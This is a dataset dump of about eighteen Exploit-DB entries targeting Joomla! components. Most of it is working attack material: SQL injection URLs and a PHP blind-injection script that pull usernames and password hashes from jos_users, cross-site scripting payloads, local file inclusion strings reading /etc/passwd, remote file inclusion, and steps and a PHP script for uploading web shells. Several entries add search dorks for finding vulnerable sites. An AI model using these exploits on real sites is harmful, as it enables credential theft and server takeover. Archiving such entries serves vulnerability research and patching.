deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17288
Description: Joomla! Component com_question - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-15
Author: NeX HaCkEr

Exploit:
###################################################
# |Title   : Joomla  (com_question) SQL Injection Vulnerability
# |Vendor  : http://www.alex-ensdorf.de/
# |Version : Joomla 1.5 
# |Date    : 15/5/2011
# |Author  : NeX HaCkEr
# |Contact : Error_log@hotmail.com
##################################################
# | Exploit :
# | http://localhost/Joomla/index.php/?option=com_question&catID=[SQL]
# | http://localhost/Joomla/index.php/?option=com_question&catID=21' and+1=0 union all     
# | select 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20
##################################################
# | Demo:
# | http://site.com/index.php/?option=com_question&catID=21' and+1=0 union all select  # | 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20 
##################################################
# | Greetz :
# | Dr.KAsBeR & DaShEr & MaFiA & WeeD 
##################################################
Exploit-DB #37993
Description: Joomla! Component com_quiz - SQL Injection
Type: webapps
Platform: php
Date: 2012-10-30
Author: Daniel Barragan

Exploit:
source: https://www.securityfocus.com/bid/56338/info

The Quiz component for Joomla! is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_quiz&task=user_tst_shw&Itemid={RANDOM}&tid={RANDOM}/**/and/**/1=0/**/union/**/select/**/1,0x3c[PII_REDACTED]743e616c[PII_REDACTED]6f63756d656e742e636f6f6b6965293c2f[PII_REDACTED]743e,concat(username,0x3D,password)/**/from/**/jos_users+--+

http://www.example.com/index.php?option=com_quiz&task=user_tst_shw&Itemid={RANDOM}&tid={RANDOM}/**/and/**/1=0/**/union/**/select/**/1,0x3c[PII_REDACTED]743e616c[PII_REDACTED]6f63756d656e742e636f6f6b6965293c2f[PII_REDACTED]743e,0x3c[PII_REDACTED]743e616c[PII_REDACTED]6f63756d656e742e636f6f6b6965293c2f[PII_REDACTED]743e+--+
Exploit-DB #12812
Description: Joomla! Component com_quran - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-30
Author: r3m1ck

Exploit:
[!] ===========================================================================[!]

[~] Joomla com_quran SQL Injection vulnerability
[~] Author : r3m1ck (mick.emo.boy@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com , http://r3m1ck.us
[~] Date : 31 May, 2010
[~] location : Indonesia
[~] Software download : http://muslimonline.org/forum/index.php?automodule=downloads&req=idx&cmd=viewdetail&f_id=2

[!]===========================================================================[!]



[ Vulnerable File ]

http://site/index.php/component/quran/index.php?option=com_quran&action=viewayat&surano=[INDONESIANCODER]

[ XpL ]

-69/**/UNION/**/SELECT/**/1,group_concat(username,0x3a,password,0x3a,email,0x3a,
activation,0x3c62723e)r3m1ck,3,4,5/**/FROM/**/jos_users--

or

another columns

[ d3m0 ]

http://site/joomla/index.php/component/quran/index.php?option=com_quran&action=viewayat&surano=-69/**/UNION/**/SELECT/**/1,group_concat(username,0x3a,password,0x3a,email,0x3a,
activation,0x3c62723e)r3m1ck,3,4,5/**/FROM/**/jos_users--

etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM U3D Crew IndonesianHacker ARUMBIA TEAM
[+] tukulesto,M3NW5,arianom,kaMtiEz,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,Pathloader,cimpli,MarahMerah,IBL13Z
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,MISTERFRIBO
[+] bumble_be,pL4nkt0n,yur4kh4,god~of~cats,eLisHa

[ NOTE ]

[+] Happy birthday to INDONESIAN CODER TEAM... sukses selaluuu !!! muach muach :-*
[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM
[+] cayang icha miss u muach muach... :-*
[+] kaMtiEz : hai cah suraaammmmm ,, wkwkwkwk ojok suram wae lah,, :p
[+] Ibl13z : baru pertama naek kereta om?? =))

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] U3D Crew still r4wX...
[+] ./e0f
Exploit-DB #11710
Description: Joomla! Component com_races - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-03-13
Author: DevilZ TM

Exploit:
#!/usr/bin/php
<?php
ini_set("max_execution_time",0);
print_r('
######################################################################
#  [x]Dork:inurl:index.php?option=com_races "raceId"
#  [x]Joomla com_races (raceId) Blind SQL Injection Exploit
#  [x] Usage: Cristal.php "http://url/index.php?option=com_races&task=result&raceId=272
#####################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>
Exploit-DB #11929
Description: Joomla! Component com_radio - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-29
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_radio SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-29

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_radio SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_radio&task=exibi_descricao&id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7,8--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_radio&task=exibi_descricao&id=-1 UNION SELECT 1,2,3,4,5,6,7,8--

[~] Demo            :

http://server/index.php?option=com_radio&task=exibi_descricao&id=-1 UNION SELECT 1,2,3,version(),5,6,7,8--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #36601
Description: Joomla! Component com_rand - SQL Injection
Type: webapps
Platform: php
Date: 2015-04-02
Author: Jagriti Sahu

Exploit:
##################################################################################################
#Exploit Title : Joomla Spider Random Article Component SQL Injection vulnerability
#Author        : Jagriti Sahu AKA Incredible
#Vendor Link   : http://demo.web-dorado.com/spider-random-article.html
#Date          : 22/03/2015
#Discovered at : IndiShell Lab
#Love to       : error1046 ^_^ ,Team IndiShell,Codebreaker ICA ,Subhi,Mrudu,Hary,Kavi ^_^
##################################################################################################

////////////////////////
/// Overview:
////////////////////////


joomla component "Spider Random Article" is not filtering data in catID and Itemid parameters
and hence affected by SQL injection vulnerability 

///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to catID and Itemid parameter 


////////////////
///  POC   ////
///////////////


SQL Injection in catID parameter
=================================

Use error based double query injection with catID parameter

Injected Link--->

Like error based double query injection for exploiting username --->
http://server/index.php?option=com_rand&catID=1' and(select 1 FROM(select count(*),concat((select (select concat(database(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -&limit=1&style=1&view=articles&format=raw&Itemid=13 


SQL Injection in Itemid parameter
=================================

Itemid Parameter is exploitable using xpath injection
 
http://server/index.php?option=com_rand&catID=1&limit=1&style=1&view=articles&format=raw&Itemid=13'and extractvalue(6678,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -

###################################################################################################


				   --==[[Special Thanks to]]==--

			          #  Manish Kishan Tanwar  ^_^ #
Exploit-DB #12062
Description: Joomla! Component com_ranking - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-04
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_ranking SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-04-05

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_ranking SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l.blackhat
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_ranking&view=detail&id=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_ranking&view=detail&id=-1+UNION+SELECT+1,2,3--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #10822
Description: Joomla! Component com_rd_download - Local File Disclosure
Type: webapps
Platform: php
Date: 2009-12-30
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >

#############################################################
#        Joomla Component com_rd_download Local File Disclosure Vulnerability
#############################################################

# Author          :  FL0RiX

# Greez          : Deep-Power,PyskE,Ruzgarin_oglu And All Friends

# Name            : com_rd_download

# Bug Type        : Local File Disclosure

# Infection       : sistemden dosya çekilebilir

# Bug Fix Advice : zararl&#305; karakterler filtrelenmeli

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_rd_download&view=download&cid=[DOSYADI].php

< -- bug code end of -- >
Exploit-DB #8919
Description: Joomla! Component com_realestatemanager 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-06-09
Author: Mehmet Ince

Exploit:
=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

  Joomla com_realestatemanager 1.0 Remote File Include

  Download: http://ordasoft.com/Download-document/4-Real-Estate-Manager-Basic.html

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
          -> .../com_realestatemanager/toolbar_ext.php?mosConfig_absolute_path=shell?

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke, VoLkan

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2009-06-09]
Exploit-DB #38445
Description: Joomla! Component com_realestatemanager 3.7 - SQL Injection
Type: webapps
Platform: php
Date: 2015-10-11
Author: Omer Ramić

Exploit:
# Description of component:
This Joomla component is perfect for independent estate agents, property
rental companies and agencies, hotel booking, hotel manage, motel booking,
motel manage.

##################################################################################################
# Exploit Title: [Joomla component com_realestatemanager - SQL injection]
# Google Dork: [inurl:option=com_realestatemanager]
# Date: [2015-10-10]
# Exploit Author: [Omer Ramić]
# Vendor Homepage: [http://ordasoft.com/]
# Software Link: [http://ordasoft.com/Real-Estate-Manager-Software-Joomla.html]
# Version: [3.7] & probably all prior
#Tested on: Linux/Windows/PHP 5.5.28/Apache 2.4.16
##################################################################################################

#Multiple vulnerable parameters (POC given only for the first parametar):
Parameter_1: order_direction (POST)
Parameter_2: order_field (POST)


#The vulnerable parameters 1 & 2 are within the following request:
POST
/index.php?option=com_realestatemanager&task=showCategory&catid=50&Itemid=132
HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://
[HOST]/index.php?option=com_realestatemanager&task=showCategory&catid=50&Itemid=132
Cookie: security_level=0;
9d929655f6556b9fb49bf0e118bafb11=tp72u418eemk6jdvvnctoamna0; countrytabs=0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

order_direction=asc&order_field=price



#Vectors:
POC_1: order_direction=asc,(SELECT (CASE WHEN (7918=7918) THEN 1 ELSE
7918*(SELECT 7918 FROM INFORMATION_SCHEMA.CHARACTER_SETS)
END))&order_field=price

POC_2: order_direction=asc,(SELECT 1841 FROM(SELECT
COUNT(*),CONCAT(0x716b787671,(SELECT
(ELT(1841=1841,1))),0x716b786b71,FLOOR(RAND(0)*2))x FROM

INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&order_field=price


###################################
# Greets to Palestine from Bosnia          #
###################################
Exploit-DB #33659
Description: Joomla! Component com_recipe - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-02-20
Author: FL0RiX

Exploit:
source: https://www.securityfocus.com/bid/38336/info

The 'com_recipe' component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


http://www.example.com/index.php?option=com_recipe&view=recipe&layout=defaults&rec=73[EXPLOIT1]
http://www.example.com/index.php?option=com_recipe&task=type&Itemid=16&type=4&category=2[EXPLOIT2]
http://www.example.com/index.php?option=com_recipe&task=view&Itemid=16&id=4[EXPLOIT3]
Exploit-DB #12181
Description: Joomla! Component com_record - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-12
Author: AntiSecurity

Exploit:
================================================================================================================


  [o] Joomla Component Record Local File Inclusion Vulnerability
 
       Software : com_record
       Vendor   : http://dev.pucit.edu.pk/
       Download : http://dev.pucit.edu.pk/files/record.rar
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_record&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00


================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


================================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #35097
Description: Joomla! Component com_redirect 1.5.19 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-13
Author: jos_ali_joe

Exploit:
source: https://www.securityfocus.com/bid/45364/info

The 'com_redirect' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Joomla Redirect 1.5.19 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?option=com_redirect&view=../../../../../../../../../etc/passwd%00
Exploit-DB #14811
Description: Joomla! Component com_remository - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-08-26
Author: J3yk0ob

Exploit:
#################################################################
#                           I N F O
#
# Exploit Title: Joomla com_remository Remote Upload File
# Date: 2010-08-26 
# Author: J3yk0ob
# Home  : http://www.J3yk0ob.com
#
#################################################################
#                        E X P L O I T
#
#  1. Register On Site
#
#  2. http://www.Target.com/index.php?option=com_remository&Itemid=[Itemid]&func=addfile
#
#  3. Add your php file , example : shell.php
#
#  4. http://www.Target.com/components/com_remository_files/
#
#  5. If web server alowe to see directory you can see folder example : file_image_2
#
#  6. You can find your shell in lates file_image_[latest Number]
#
#  7 . Example URL : http://www.example.com/components/com_remository_files/file_image_14/[PII_REDACTED]shell.php
#
#  Dork : inurl:"index.php?com_remository"
#
#################################################################
# Contact Me
#
# Home : http://www.J3yk0ob.com
# Email : 4dm1n@J3yk0ob.com
#
##################################################################
Exploit-DB #38592
Description: Joomla! Component com_rokdownloads - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-06-19
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/60690/info

The RokDownloads component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

<?php

  $uploadfile="Amir.php.gif";

  $ch = 
  curl_init("http://www.exemple.com/administrator/components/com_rokdownloads/assets/uploadhandler.php");
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS,
                array('Filedata'=>"@$uploadfile"));
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  $postResult = curl_exec($ch);
  curl_close($ch);
  print "$postResult";

  ?>
Exploit-DB #11760
Description: Joomla! Component com_rokdownloads - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-15
Author: AtT4CKxT3rR0r1ST

Exploit:
####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_rokdownloads
.:. Bug Type : Local File Inclusion [LFI]
.:. Dork : inurl:"com_rokdownloads"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_rokdownloads&controller=[LFI]
www.site.com/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00

####################################################################